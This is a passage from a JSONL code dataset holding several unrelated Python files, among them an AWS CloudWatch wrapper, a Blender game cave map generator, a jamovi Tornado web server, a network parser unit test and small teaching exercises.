vec_6_r = Vector(SIX_METERS_MIDDLE_RIGHT[0], SIX_METERS_MIDDLE_RIGHT[-1])\n\n vec_6_p1 = Vector(SIX_METERS_P1[0], SIX_METERS_P1[-1])\n vec_6_p2 = Vector(SIX_METERS_P2[0], SIX_METERS_P2[-1])\n vec_6_p3 = Vector(SIX_METERS_P3[0], SIX_METERS_P3[-1])\n vec_6_p4 = Vector(SIX_METERS_P4[0], SIX_METERS_P4[-1])\n\n vec_5_l = Vector(FIVE_METERS_MIDDLE_LEFT[0], FIVE_METERS_MIDDLE_LEFT[-1])\n vec_5_r = Vector(FIVE_METERS_MIDDLE_RIGHT[0], FIVE_METERS_MIDDLE_RIGHT[-1])\n\n vec_5_p1 = Vector(FIVE_METERS_P1[0], FIVE_METERS_P1[-1])\n vec_5_p2 = Vector(FIVE_METERS_P2[0], FIVE_METERS_P2[-1])\n vec_5_p3 = Vector(FIVE_METERS_P3[0], FIVE_METERS_P3[-1])\n vec_5_p4 = Vector(FIVE_METERS_P4[0], FIVE_METERS_P4[-1])\n\n vec_4_l = Vector(FOUR_METERS_MIDDLE_LEFT[0], FOUR_METERS_MIDDLE_LEFT[-1])\n vec_4_r = Vector(FOUR_METERS_MIDDLE_RIGHT[0], FOUR_METERS_MIDDLE_RIGHT[-1])\n\n vec_4_p1 = Vector(FOUR_METERS_P1[0], FOUR_METERS_P1[-1])\n vec_4_p2 = Vector(FOUR_METERS_P2[0], FOUR_METERS_P2[-1])\n vec_4_p3 = Vector(FOUR_METERS_P3[0], FOUR_METERS_P3[-1])\n vec_4_p4 = Vector(FOUR_METERS_P4[0], FOUR_METERS_P4[-1])\n\n vec_3_l = Vector(THREE_METERS_MIDDLE_LEFT[0], THREE_METERS_MIDDLE_LEFT[-1])\n vec_3_r = Vector(THREE_METERS_MIDDLE_RIGHT[0], THREE_METERS_MIDDLE_RIGHT[-1])\n\n vec_3_p1 = Vector(THREE_METERS_P1[0], THREE_METERS_P1[-1])\n vec_3_p2 = Vector(THREE_METERS_P2[0], THREE_METERS_P2[-1])\n vec_3_p3 = Vector(THREE_METERS_P3[0], THREE_METERS_P3[-1])\n vec_3_p4 = Vector(THREE_METERS_P4[0], THREE_METERS_P4[-1])\n\n vec_2_l = Vector(TWO_METERS_MIDDLE_LEFT[0], TWO_METERS_MIDDLE_LEFT[-1])\n vec_2_r = Vector(TWO_METERS_MIDDLE_RIGHT[0], TWO_METERS_MIDDLE_RIGHT[-1])\n\n vec_2_p1 = Vector(TWO_METERS_P1[0], TWO_METERS_P1[-1])\n vec_2_p2 = Vector(TWO_METERS_P2[0], TWO_METERS_P2[-1])\n vec_2_p3 = Vector(TWO_METERS_P3[0], TWO_METERS_P3[-1])\n vec_2_p4 = Vector(TWO_METERS_P4[0], TWO_METERS_P4[-1])\n\n box_6l = Poly(vec_6_l, [vec_6_p1, vec_6_p2, vec_6_p3, vec_6_p4])\n box_6r = Poly(vec_6_r, [vec_6_p1, vec_6_p2, vec_6_p3, vec_6_p4])\n\n box_5l = Poly(vec_5_l, [vec_5_p1, vec_5_p2, vec_5_p3, vec_5_p4])\n box_5r = Poly(vec_5_r, [vec_5_p1, vec_5_p2, vec_5_p3, vec_5_p4])\n\n box_4l = Poly(vec_4_l, [vec_4_p1, vec_4_p2, vec_4_p3, vec_4_p4])\n box_4r = Poly(vec_4_r, [vec_4_p1, vec_4_p2, vec_4_p3, vec_4_p4])\n\n box_3l = Poly(vec_3_l, [vec_3_p1, vec_3_p2, vec_3_p3, vec_3_p4])\n box_3r = Poly(vec_3_r, [vec_3_p1, vec_3_p2, vec_3_p3, vec_3_p4])\n\n box_2l = Poly(vec_2_l, [vec_2_p1, vec_2_p2, vec_2_p3, vec_2_p4])\n box_2r = Poly(vec_2_r, [vec_2_p1, vec_2_p2, vec_2_p3, vec_2_p4])\n\n boxes_lst = [(\"2L\", box_2l.aabb), (\"2R\", box_2r.aabb), (\"3L\", box_3l.aabb), \n (\"3R\", box_3r.aabb), (\"4L\", box_4l.aabb), (\"4R\", box_4r.aabb),\n (\"5L\", box_5l.aabb), (\"5R\", box_5r.aabb), (\"6L\", box_6l.aabb),\n (\"6R\", box_6r.aabb)\n ]\n \n return boxes_lst","sub_path":"VisualizationTool/DataVisualization_PKG/Dependencies/r_utils.py","file_name":"r_utils.py","file_ext":"py","file_size_in_byte":4995,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"134994009","text":"import decimal\nimport datetime\nimport botocore.exceptions\nfrom typing import List, Any, Union, Dict\n\nfrom .service import AWSService\nfrom . import exceptions\n\nfrom boto3 import client\n\n\nclass CloudWatch(AWSService):\n\n def __init__(self, region_name: str = \"us-east-1\"):\n super().__init__()\n self._cw = client('cloudwatch', region_name=region_name)\n\n def put_metric(self, name_space: str, metric_data: List[Any]):\n \"\"\"\n Push custom metric to CloudWatch\n https://boto3.amazonaws.com/v1/documentation/api/latest/reference/services/cloudwatch.html#CloudWatch.Client.put_metric_data\n :param name_space: The custom namespace to push the metric\n :param metric_data: Custom metric data. Can be passed normally or by using construct_metric_data() helper func\n ex: combined_metric_data.append(construct_metric_data(metric_name=\"metric\",\n dimensions=[{\"Name\": \"foo\", \"Value\": \"bar\"}],\n unit=\"Count\",\n timestamp=datetime.datetime.now(),\n value=1))\n :return:\n \"\"\"\n\n query = {\n \"Namespace\": name_space,\n \"MetricData\": metric_data\n }\n\n try:\n response = self._cw.put_metric_data(**query)\n\n except botocore.exceptions.ClientError as boto_err:\n # Saved for future usage\n error_code: str = boto_err.response.get('Error', {}).get('Code')\n error_message: str = boto_err.response.get('Error', {}).get('Message')\n error_http_response_code: int = boto_err.response.get('Error', {}).get('HTTPStatusCode')\n raise exceptions.ClientError(exception=boto_err)\n except botocore.exceptions.NoCredentialsError as boto_err:\n raise exceptions.ClientError(exception=boto_err)\n\n return response\n\n @staticmethod\n def construct_metric_data(metric_name: str,\n value: Union[float, decimal.Decimal, int],\n dimensions: List[Dict[str, str]],\n unit: str,\n timestamp: datetime.datetime = datetime.datetime.now()) -> Dict[str, Any]:\n \"\"\"\n Constructs metric data to be used to push custom metrics to CloudWatch\n :param metric_name:\n :param value:\n :param dimensions:\n :param timestamp:\n :param unit:\n :return: Mapping of metric data to be used with put_metric()\n \"\"\"\n\n metric_data = {\n \"MetricName\": metric_name,\n \"Dimensions\": dimensions,\n \"Timestamp\": timestamp,\n \"Unit\": unit,\n \"Value\": value\n }\n\n return metric_data\n","sub_path":"aws/cloudwatch.py","file_name":"cloudwatch.py","file_ext":"py","file_size_in_byte":2878,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"649037408","text":"\nclass WareHouse:\n\n def __init__(self):\n self.name_company = 'TypeWriter'\n self.area = 200\n self.busy = 0\n self.qqq = {'P': Printer, 'S': Scanner, 'C': CopyMachine}\n\n def __call__(self, operation, name, qua):\n self.operation = operation\n if operation == '+':\n self.qqq.get(name).quantity = self.qqq.get(name).quantity + qua\n elif operation == '-':\n self.qqq.get(name).quantity = self.qqq.get(name).quantity - qua\n if self.qqq.get(name).quantity < 0:\n print('Столько на складе нет')\n\n self.busy = Printer.quantity + CopyMachine.quantity + Scanner.quantity\n return self.busy\n\n @staticmethod\n def dict_device():\n all_dict = {\"Принтер\": Printer.quantity, \"Сканер\": Scanner.quantity, \"Копир\": CopyMachine.quantity}\n return all_dict\n\n\nclass OrgTech:\n\n def __init__(self):\n\n self.color = 'White'\n self.model = 'TypeWriter'\n\n\n\nclass Printer(OrgTech):\n quantity = 50\n\n def __init__(self):\n super().__init__()\n self.name = 'Printer'\n self.speed_write = 30\n self.quantity = Printer.quantity\n\n\nclass Scanner(OrgTech):\n quantity = 50\n\n def __init__(self):\n super().__init__()\n self.name = 'Scanner'\n self.speed_scan = 20\n self.quantity = Scanner.quantity\n\n\nclass CopyMachine(OrgTech):\n quantity = 50\n\n def __init__(self):\n super().__init__()\n self.name = 'CopyMachine'\n self.speed_scan = 20\n self.speed_write = 30\n self.quantity = CopyMachine.quantity\n\n\n# Тут, конечно можно что угодно сделать. Но вот я решил обозначить так\nprint('Погрузка \"+\" или выгрузка \"-\"')\nprint(\"Принтер - P, Сканер - S, Копир - C\")\n\nwhile True:\n while True:\n inp1 = input('Какой вид работ?(+ или -) : ')\n inp2 = input('Тип устройства на загрузку или выгрузку: ')\n print('Остановиться - просто Enter')\n if (inp1 != '+' and inp1 != '-' and inp1 != '') or (inp2 != 'P' and inp2 != 'S' and inp2 != 'C' and inp2 != ''):\n print('Вы неправльно введи наименование или тип работ')\n else:\n break\n if inp1 == '' or inp2 == '':\n break\n\n while True:\n try:\n inp3 = int(input('Количество устройст: '))\n except ValueError:\n print(\"Неправильно ввел данные\")\n else:\n break\n\n inp_end = WareHouse()\n\n print(f'Всего устройств: {inp_end(inp1, inp2, inp3)}')\n print(WareHouse.dict_device())\n\n","sub_path":"step_8/step_8_4,8_5,8_6.py","file_name":"step_8_4,8_5,8_6.py","file_ext":"py","file_size_in_byte":2820,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"37841384","text":"class Employee:\r\n emp_desgination=input(\"Enter a Employee Desgination:\")\r\n emp_work_loaction=input(\"Enter a Employee Work Location:\")\r\n def fun1(self):\r\n print(\"Iam a function1\")\r\n def assign(self,idno,name,sal):\r\n print(\"The idno of the Employee:\",idno)\r\n print(\"The Name of the Employee:\",name)\r\n print(\"The Salary of the Employee:\",sal)\r\n def show(self,emp_add,emp_wiki):\r\n self.emp_add=emp_add\r\n self.emp_wiki=emp_wiki\r\n print(self.emp_wiki)\r\n print(self.emp_add)\r\n def display(self,age,cno):\r\n self.age=age\r\n self.cno=cno\r\n print(\"Iam a Display\")\r\n#call\r\ne1=Employee()\r\ne1.fun1()\r\ne1.assign(101,\"Ismail\",96000000)\r\na=input(\"Enter a Employee address:\")\r\nb=input(\"Enter a Employee Wiki:\")\r\ne1.show(a,b)\r\ne1.display(25,8500580594)","sub_path":"class8.py","file_name":"class8.py","file_ext":"py","file_size_in_byte":827,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"645661518","text":"import bge\nimport random\nimport math\nimport config\n\naccessable_area = []\ntiledict = {}\n\ndef init(cont):\n accessable_area = list()\n tiledict = {}\n #Build Tile dictionary\n for obj in cont.owner.scene.objectsInactive:\n if obj.name.startswith('T ['):\n add_shape(obj)\n \n #Map Size:\n bge.logic.globalDict['level'] = bge.logic.globalDict.get('level', 0) + 1\n if bge.logic.globalDict.get('gameType') == 'Fear Dark':\n bge.logic.globalDict['size'] = bge.logic.globalDict.get('size', 8) + 2\n config.SIZE = bge.logic.globalDict['size']\n\n else:\n bge.logic.globalDict['size'] = bge.logic.globalDict.get('size', 12) + 1\n config.SIZE = bge.logic.globalDict['size']\n \n #Generate Map\n map, offset = generate_map()\n \n #Build Map\n build_map(cont, map, offset)\n \n cont.script = 'map.run'\n \ndef run(cont):\n pass\n\ndef generate_map():\n global accessable_area\n \n biggest = (0, [0,0], 0) #(Area, [coords], num)\n while(biggest[0] < config.SIZE **1.5):\n map = Map(config.SIZE)\n accessable_area = list()\n #Fill with Noise\n for r in range(0, map.size):\n for c in range(0, map.size):\n map.set_point(r,c,random.randint(0,1))\n \n #Remove walls\n for r in range(0, map.size):\n for c in range(0, map.size):\n if map.get_point(r,c) == map.WALL:\n if (map.get_point(r+1,c) == map.get_point(r-1,c) and\n map.get_point(r,c+1) == map.get_point(r,c-1) and\n map.get_point(r+1,c) != map.get_point(r,c+1)):\n map.set_point(r,c,map.EMPTY)\n \n #Extract the playable area (which is the biggest):\n \n i = 3\n for x in range(0, map.size):\n for y in range(0, map.size):\n i += 1\n size = get_size(map,x,y, i)\n if size > biggest[0]:\n biggest = (size, [x,y], i)\n for x in range(0, map.size):\n for y in range(0, map.size):\n if map.get_point(x,y) == biggest[2]:\n accessable_area.append([x,y])\n if map.get_point(x,y) != map.WALL:\n map.set_point(x,y,map.EMPTY)\n \n #Figure out start co-ordinates:\n offset = [None, None]\n for point in accessable_area:\n x,y = point\n if map.get_point(x, y-1) == map.WALL:\n offset = point\n \n #Place Water\n #for w in random.sample(accessable_area, config.WATER_AMOUNT):\n # #if map.get_num_neighbours(w[0], w[1]) > 2:\n # x,y = w\n # if map.get_point(x,y-1) == 0:\n # #print(\"Here\")\n # map.set_point(x,y,'Water')\n \n #Place Traps:\n \n bge.logic.globalDict['complexity'] = biggest[0] \n \n return map, offset\n\ndef build_map(cont, map, offset):\n roof = []\n for y in range(-5,map.size+5):\n for x in range(-5,map.size+5):\n shape = [[map.get_point(x,y), map.get_point(x-1,y)],[map.get_point(x,y-1), map.get_point(x-1,y-1)]]\n \n pos = [(-x+offset[0])*2+1,(y-offset[1])*2-1]\n if shape[1] == [1,1]:\n if (shape[0][0] + shape[0][1] <= 1):\n place_feature(cont, pos)\n elif (shape[0][0] + shape[0][1] >= 1):\n if [x,y] in accessable_area: \n roof.append([x,y])\n place_shape(cont, shape, pos)\n \n \n num_lights = min(len(roof), config.NUM_LIGHTS)\n for l in random.sample(roof, num_lights):\n x,y = l\n place_light(cont, [(-x+offset[0])*2,(y-offset[1])*2])\n \n bge.logic.globalDict['total_lights'] = num_lights\n\n################## PLACE OBJECTS ###########################\n\ndef place_shape(cont, shape, pos):\n obj = get_shape(shape)\n o = bge.logic.getCurrentScene().addObject(obj[0], cont.owner)\n o.worldPosition.z = pos[1]\n o.worldPosition.x = pos[0]\n o.worldPosition.y = -1\n \n o.applyRotation([0,-obj[1]*math.pi/2,0])\n \n\ndef place_feature(cont, pos):\n if bge.logic.getRandomFloat() > 0.5:\n return\n feature = random.choice([o for o in cont.owner.scene.objectsInactive if o.name.startswith(\"Feature\")])\n o = bge.logic.getCurrentScene().addObject(feature, cont.owner)\n o.worldPosition.z = pos[1]\n o.worldPosition.x = pos[0]\n o.worldPosition.y = -0.5\n o.color = (0,0,0,0.6)\n\ndef place_light(cont, pos):\n o = bge.logic.getCurrentScene().addObject('LightHook', cont.owner)\n o.worldPosition.z = pos[1]\n o.worldPosition.x = pos[0]\n o.worldPosition.y = -1.2\n \n\n################## TILE DICT ###########################\ndef rotateTile(strshape, r):\n shape = eval(strshape)\n for i in range(0,r):\n tmp = shape[0][0]\n shape[0][0] = shape[0][1]\n shape[0][1] = shape[1][1]\n shape[1][1] = shape[1][0]\n shape[1][0] = tmp\n return str(shape)\n\ndef add_shape(obj):\n shape = obj.name[2:15]\n for r in range(0,4):\n s = rotateTile(shape, r)\n if s in tiledict:\n tiledict[s].append([obj, r])\n \n else:\n tiledict[s] = [[obj, r]]\n \n\ndef get_shape(shape):\n return(random.choice(tiledict[str(shape)]))\n\n###################### MAP CLASS #######################3\nclass Map():\n EMPTY = 0\n WALL = 1\n size = 0\n def __init__(self, size):\n self.map = []\n self.size = size\n for r in range(0, self.size):\n self.map.append([])\n for c in range(0, self.size):\n self.map[r].append([])\n self.map[r][c] = 1\n\n def get_point(self, x, y):\n if x not in range(0, self.size) or y not in range(0, self.size):\n return self.WALL\n else:\n return self.map[x][y]\n \n def set_point(self, x, y, value):\n if x not in range(0, self.size) or y not in range(0, self.size):\n raise Exception('Trying to access co-ordinate not in map')\n else:\n self.map[x][y] = value\n \n def get_num_neighbours(self, x,y):\n total = 0\n for r in [-1,0,1]:\n for c in [-1,0,1]:\n total += self.get_point(x+r,y+c)\n return total\n \n def __str__(self):\n outstr = ''\n for r in range(0, self.size):\n if r != 0:\n outstr += '\\n'\n for c in range(0, self.size):\n if self.map[r][c] == self.EMPTY:\n outstr += ' '\n elif self.map[r][c] == self.WALL:\n outstr += '[]'\n else:\n outstr += str(self.map[r][c])\n return outstr\n \ndef get_size(map, x, y, i=0):\n '''A recursive function to find the size of a map area'''\n if map.get_point(x,y) == map.EMPTY:\n map.set_point(x,y,i)\n count = 1 + get_size(map, x+1, y, i) + get_size(map, x-1, y, i) + get_size(map, x, y+1, i) + get_size(map, x, y-1, i)\n return count\n else:\n return 0\n","sub_path":"BGMC18 CaveFly V4/BGMC18 CaveFly/scripts/map.py","file_name":"map.py","file_ext":"py","file_size_in_byte":7142,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"44416778","text":"#!/usr/bin/env python\nfrom distutils.core import setup, Extension\n\nreadme_conts = open(\"README.rst\", \"U\").read()\n\nprocname_ext = Extension(\"procname\", [\"procnamemodule.c\"])\nsetup(\n name=\"procname-redux\",\n version=\"0.3\",\n url=\"http://github.com/lericson/procname/\",\n author=\"Eugene Pankov & Ludvig Ericson\",\n author_email=\"e.pankov@syslink.de\",\n description=\"Set process titles in Python programs\",\n long_description=readme_conts,\n ext_modules=[procname_ext]\n)\n","sub_path":"pypi_install_script/procname-redux-0.3.tar/setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":484,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"78850364","text":"\nimport tornado.ioloop\nimport tornado.netutil\nimport tornado.httpserver\n\nfrom tornado.web import RequestHandler\nfrom tornado.web import StaticFileHandler\n\nfrom .clientconnection import ClientConnection\nfrom .instance import Instance\nfrom .modules import Modules\n\nimport os.path\nimport uuid\n\nimport threading\nimport time\nimport tempfile\nimport logging\n\nlog = logging.getLogger('jamovi')\n\n\nclass SingleFileHandler(RequestHandler):\n\n def initialize(self, path, mime_type=None, no_cache=False):\n self._path = path\n self._mime_type = mime_type\n self._no_cache = no_cache\n\n def get(self):\n if self._mime_type is not None:\n self.set_header('Content-Type', self._mime_type)\n with open(self._path, 'rb') as file:\n content = file.read()\n self.write(content)\n\n def set_extra_headers(self, path):\n if self._no_cache:\n self.set_header('Cache-Control', 'no-store, no-cache, must-revalidate, max-age=0')\n\n\nclass ResourceHandler(RequestHandler):\n\n def get(self, instance_id, resource_id):\n instance = Instance.get(instance_id)\n if instance is None:\n self.set_status(404)\n self.write('

404

')\n self.write('instance ' + instance_id + ' could not be found')\n return\n\n resource_path = instance.get_path_to_resource(resource_id)\n\n with open(resource_path, 'rb') as file:\n content = file.read()\n self.write(content)\n\n\nclass UploadHandler(RequestHandler):\n def post(self):\n file_info = self.request.files['file'][0]\n file_name = file_info['filename']\n ext = os.path.splitext(file_name)[1]\n content = file_info['body']\n temp_name = str(uuid.uuid4()) + ext\n temp_file = os.path.join('/tmp', temp_name)\n with open(temp_file, 'wb') as file:\n file.write(content)\n\n\nclass AnalysisDescriptor(RequestHandler):\n\n def get(self, module_name, analysis_name, part):\n if part == '':\n part = 'js'\n\n module_path = Modules.instance().get(module_name).path\n\n if part == 'js':\n analysis_path = os.path.join(module_path, 'ui', analysis_name.lower() + '.' + part)\n else:\n analysis_path = os.path.join(module_path, 'analyses', analysis_name.lower() + '.' + part)\n analysis_path = os.path.realpath(analysis_path)\n\n try:\n with open(analysis_path, 'rb') as file:\n content = file.read()\n self.set_header('Content-Type', 'text/plain')\n self.write(content)\n except Exception as e:\n log.info(e)\n self.set_status(404)\n self.write('

404

')\n self.write(str(e))\n\n\nclass LoginHandler(RequestHandler):\n def post(self):\n # username = self.get_argument('username', None)\n # password = self.get_argument('password', None)\n self.set_cookie('authId', str(uuid.uuid4()))\n self.set_status(204)\n\n\nclass SFHandler(StaticFileHandler):\n def initialize(self, **kwargs):\n if 'no_cache' in kwargs:\n self._no_cache = kwargs['no_cache']\n del kwargs['no_cache']\n else:\n self._no_cache = False\n StaticFileHandler.initialize(self, **kwargs)\n\n def set_extra_headers(self, path):\n if self._no_cache:\n self.set_header('Cache-Control', 'no-store, no-cache, must-revalidate, max-age=0')\n\n\nclass Server:\n\n def __init__(self, port, shutdown_on_idle=False, debug=False):\n\n if port == 0:\n self._ports = [ 0, 0, 0 ]\n else:\n self._ports = [int(port), int(port) + 1, int(port) + 2]\n\n self._ioloop = tornado.ioloop.IOLoop.instance()\n self._shutdown_on_idle = shutdown_on_idle\n self._debug = debug\n self._ports_opened_listeners = [ ]\n\n def add_ports_opened_listener(self, listener):\n self._ports_opened_listeners.append(listener)\n\n def check_for_shutdown(self):\n\n try:\n parent = threading.main_thread()\n time_without_listeners = None\n\n while True:\n time.sleep(.2)\n if parent.is_alive() is False:\n break\n\n now = time.time()\n\n if ClientConnection.number_of_connections == 0:\n if time_without_listeners is None:\n time_without_listeners = now\n elif now - time_without_listeners > 1:\n log.info('Server shutting down due to inactivity')\n break\n else:\n time_without_listeners = None\n\n except Exception as e:\n log.exception(e)\n\n try:\n for id, instance in Instance.instances.items():\n instance.close()\n except Exception as e:\n log.exception(e)\n\n tornado.ioloop.IOLoop.instance().stop()\n\n def start(self):\n\n here = os.path.dirname(os.path.realpath(__file__))\n\n client_path = os.path.join(here, 'resources', 'client')\n coms_path = os.path.join(here, 'jamovi.proto')\n\n session_dir = tempfile.TemporaryDirectory()\n session_path = session_dir.name\n\n self._main_app = tornado.web.Application([\n (r'/login', LoginHandler),\n (r'/coms', ClientConnection, { 'session_path': session_path }),\n (r'/upload', UploadHandler),\n (r'/proto/coms.proto', SingleFileHandler, {\n 'path': coms_path,\n 'mime_type': 'text/plain',\n 'no_cache': self._debug }),\n (r'/analyses/(.*)/(.*)/(.*)', AnalysisDescriptor),\n (r'/analyses/(.*)/(.*)()', AnalysisDescriptor),\n (r'/(.*)', SFHandler, {\n 'path': client_path,\n 'default_filename': 'index.html',\n 'no_cache': self._debug })\n ])\n\n analysisui_path = os.path.join(client_path, 'analysisui.html')\n analysisuijs_path = os.path.join(client_path, 'analysisui.js')\n analysisuicss_path = os.path.join(client_path, 'analysisui.css')\n assets_path = os.path.join(client_path, 'assets')\n\n self._analysisui_app = tornado.web.Application([\n (r'/.*/', SingleFileHandler, { 'path': analysisui_path }),\n (r'/.*/analysisui.js', SingleFileHandler, {\n 'path': analysisuijs_path,\n 'mime_type': 'text/javascript',\n 'no_cache': self._debug }),\n (r'/.*/analysisui.css', SingleFileHandler, {\n 'path': analysisuicss_path,\n 'mime_type': 'text/css',\n 'no_cache': self._debug }),\n (r'/.*/assets/(.*)', SFHandler, {\n 'path': assets_path,\n 'no_cache': self._debug }),\n ])\n\n resultsview_path = os.path.join(client_path, 'resultsview.html')\n resultsviewjs_path = os.path.join(client_path, 'resultsview.js')\n resultsviewcss_path = os.path.join(client_path, 'resultsview.css')\n\n self._resultsview_app = tornado.web.Application([\n (r'/.*/', SingleFileHandler, { 'path': resultsview_path }),\n (r'/.*/resultsview.js', SingleFileHandler, { 'path': resultsviewjs_path, 'mime_type': 'text/javascript' }),\n (r'/.*/resultsview.css', SingleFileHandler, { 'path': resultsviewcss_path, 'mime_type': 'text/css' }),\n (r'/.*/assets/(.*)', SFHandler, { 'path': assets_path }),\n (r'/(.*)/res/(.*)', ResourceHandler),\n ])\n\n sockets = tornado.netutil.bind_sockets(self._ports[0], 'localhost')\n server = tornado.httpserver.HTTPServer(self._main_app)\n server.add_sockets(sockets)\n self._ports[0] = sockets[0].getsockname()[1]\n\n sockets = tornado.netutil.bind_sockets(self._ports[1], 'localhost')\n server = tornado.httpserver.HTTPServer(self._analysisui_app)\n server.add_sockets(sockets)\n self._ports[1] = sockets[0].getsockname()[1]\n\n sockets = tornado.netutil.bind_sockets(self._ports[2], 'localhost')\n server = tornado.httpserver.HTTPServer(self._resultsview_app)\n server.add_sockets(sockets)\n self._ports[2] = sockets[0].getsockname()[1]\n\n for listener in self._ports_opened_listeners:\n listener(self._ports)\n\n if self._shutdown_on_idle:\n thread = threading.Thread(target=self.check_for_shutdown)\n thread.start()\n\n self._ioloop.start()\n","sub_path":"server/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":8556,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"229642570","text":"#!/bin/env python\r\nimport unittest\r\nfrom unittest.mock import Mock\r\nfrom ats.topology import Device\r\n\r\nfrom genie.metaparser.util.exceptions import SchemaEmptyParserError,\\\r\n SchemaMissingKeyError\r\n\r\nfrom genie.libs.parser.iosxe.show_access_session import ShowAccessSession\r\n\r\n\r\nclass test_show_access_session(unittest.TestCase):\r\n dev1 = Device(name='empty')\r\n dev_c3850 = Device(name='c3850')\r\n empty_output = {'execute.return_value': ' '}\r\n\r\n golden_parsed_output = {\r\n 'session_count': 1,\r\n 'interfaces': {\r\n 'GigabitEthernet1/0/1': {\r\n 'interface': 'GigabitEthernet1/0/1',\r\n 'client': {\r\n 'f4cf.beef.acc1': {\r\n 'client': 'f4cf.beef.acc1',\r\n 'method': 'dot1x',\r\n 'domain': 'DATA',\r\n 'status': 'authenticator',\r\n 'session': {\r\n '000000000000000BB6FC9EAF': {\r\n 'session_id': '000000000000000BB6FC9EAF',\r\n }\r\n }\r\n }\r\n }\r\n }\r\n }\r\n }\r\n\r\n golden_output = {'execute.return_value': '''\\\r\n Interface MAC Address Method Domain Status Fg Session ID\r\n --------------------------------------------------------------------------------------------\r\n Gi1/0/1 f4cf.beef.acc1 dot1x DATA Auth 000000000000000BB6FC9EAF\r\n\r\n Session count = 1\r\n '''\r\n }\r\n def test_empty(self):\r\n self.dev1 = Mock(**self.empty_output)\r\n obj = ShowAccessSession(device=self.dev1)\r\n with self.assertRaises(SchemaEmptyParserError):\r\n parsed_output = obj.parse()\r\n\r\n def test_golden(self):\r\n self.maxDiff = None\r\n self.dev_c3850 = Mock(**self.golden_output)\r\n obj = ShowAccessSession(device=self.dev_c3850)\r\n parsed_output = obj.parse()\r\n self.assertEqual(parsed_output,self.golden_parsed_output)\r\n\r\nif __name__ == '__main__':\r\n unittest.main()\r\n\r\n","sub_path":"src/genie/libs/parser/iosxe/tests/test_show_access_session.py","file_name":"test_show_access_session.py","file_ext":"py","file_size_in_byte":2178,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"512900244","text":"import pygame\r\n\r\npygame.init()\r\n# Screen\r\nSCREEN_WIDTH = 800\r\nSCREEN_HEIGHT = 600\r\nscreen = pygame.display.set_mode((SCREEN_WIDTH, SCREEN_HEIGHT))\r\n\r\n# For locating cards on the play grid\r\nGRID_LEFT_OFFSET = 16 # Distance from left to start drawing grid\r\nGRID_TOP_OFFSET = 16 # Distance from top to start drawing grid\r\nTILE_X_SPACER = 2 # Separation between cards horizontally\r\nTILE_Y_SPACER = 2 # Separation between cards vertically\r\nCOLS = 9 # Beginning number of columns in the grid\r\nROWS = 9 # Number of rows in the grid\r\nTILE_HEIGHT = 50\r\nTILE_WIDTH = 50\r\n\r\n\r\n# From top of window to bottom of grid\r\nGRID_BOTTOM = GRID_TOP_OFFSET + ROWS * (TILE_HEIGHT + TILE_Y_SPACER)\r\nGRID_RIGHT = GRID_LEFT_OFFSET + COLS * (TILE_WIDTH + TILE_X_SPACER)\r\nGRID_LEFT = GRID_LEFT_OFFSET\r\nGRID_TOP = GRID_TOP_OFFSET\r\n\r\n# From top of window to top of buttons\r\n# final int BUTTON_LEFT_OFFSET = GRID_LEFT_OFFSET\r\n# final int BUTTON_TOP_OFFSET = GRID_BOTTOM + 16\r\n# final int BUTTON_WIDTH = 200\r\n# final int BUTTON_HEIGHT = 56\r\n\r\n# Four buttons: Add Cards, Find Set, New Game, Pause\r\n# public final int NUM_BUTTONS = 4\r\n\r\n\r\n# Score information\r\nscoreFont = pygame.font.Font(\"freesansbold.ttf\", 32)\r\nSCORE_FILL = (255, 255, 255) # Black RGB values feel free to change\r\nscore = 0\r\nSCORE_LEFT_OFFSET = GRID_LEFT_OFFSET\r\nSCORE_TOP_OFFSET = 25\r\n\r\n# Timer information\r\ntimerFont = pygame.font.Font(\"freesansbold.ttf\", 32)\r\nTIMER_FILL = (255, 255, 255) # Black RGB values feel free to change\r\nTIMER_LEFT_OFFSET = SCORE_LEFT_OFFSET+256\r\nTIMER_TOP_OFFSET = SCORE_TOP_OFFSET\r\n\r\n# Message information\r\n# public PFont messageFont\r\n# public final color MESSAGE_FILL = #000000 # Black RGB values feel free to change\r\n# public int message\r\n# public final int MESSAGE_LEFT_OFFSET = TIMER_LEFT_OFFSET+256\r\n# public final int MESSAGE_TOP_OFFSET = TIMER_TOP_OFFSET\r\n\r\n\r\n\r\nBACKGROUND_COLOR = (189, 195, 199)\r\n# public final color SELECTED_HIGHLIGHT = #FFDD00\r\n# public final color CORRECT_HIGHLIGHT = #00FF00\r\n# public final color INCORRECT_HIGHLIGHT = #FF0000\r\n# public final color FOUND_HIGHLIGHT = #11CCCC\r\n# public final int HIGHLIGHT_TICKS = 35\r\n# public final int FIND_SET_TICKS = 60\r\n# public int highlightCounter = 0\r\n\r\n# TIMER\r\ntimeElapsed = 0\r\n\r\n\r\nOPTION_LEFT_ARROWKEY = 50\r\nARROWKEY_SIZE = 32\r\nARROWKEY_Y = 200\r\ndifficulties = ['Easy', 'Medium', 'Hard']\r\ndifficulty = 0","sub_path":"sudoku/constants.py","file_name":"constants.py","file_ext":"py","file_size_in_byte":2421,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"364725261","text":"# -*- coding: utf-8 -*-\n\n# This software is released under the MIT License.\n#\n# Copyright (c) 2018 Orange Cloud for Business / Cloudwatt\n#\n# Permission is hereby granted, free of charge, to any person obtaining a copy\n# of this software and associated documentation files (the \"Software\"), to deal\n# in the Software without restriction, including without limitation the rights\n# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n# copies of the Software, and to permit persons to whom the Software is\n# furnished to do so, subject to the following conditions:\n#\n# The above copyright notice and this permission notice shall be included in\n# all copies or substantial portions of the Software.\n#\n# THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY 